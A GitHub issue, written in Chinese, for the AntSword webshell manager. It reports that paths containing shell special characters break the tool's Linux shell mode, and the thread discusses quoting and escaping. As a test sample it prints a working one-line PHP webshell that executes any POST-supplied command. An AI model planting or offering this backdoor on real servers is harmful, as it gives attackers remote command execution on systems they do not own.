Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CMDLINUX Shell 类型路径中特殊字符会导致出错 #286

Open
4 tasks done
EarthCompass opened this issue Jul 28, 2021 · 2 comments
Open
4 tasks done

CMDLINUX Shell 类型路径中特殊字符会导致出错 #286

EarthCompass opened this issue Jul 28, 2021 · 2 comments

Comments

@EarthCompass
Copy link

  • 我确定这是蚁剑本身的一个 Bug,我并不是在询问如何使用蚁剑
  • 我确定已经将蚁剑升级至软件发布页面中的最新版

报告 Bug

  • 我使用的操作系统是 Debian/Ubuntu GNU/Linux

  • 我使用的是 64 位操作系统

Bug 详细描述

路径存在 ,$,>,<等shell中的特殊字符会导致出错。

测试样本:

root@f098aff17e28:/var/www/html# tree .
.
|-- a\ b
|   `-- 3
|-- a$b
|   `-- 1
|-- a<b
|   `-- 4
|-- a>b
|   `-- 5
|-- a`b
|   `-- 6
|-- ant.php
`-- a|b
    `-- 2

6 directories, 7 files

ant.php

<?php system($_POST['ant']);?>
@Medicean
Copy link
Collaborator

@EarthCompass 目前可以知道 空格、\, $, 反引号些可以用单引号解决,如果路径中存在单引号时,有什么好的解决方案吗?

@EarthCompass
Copy link
Author

转义吧,感觉也没啥别的解决方法了😂

# cd \'\"\$\ \|
# pwd
/var/www/html/'"$ |

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants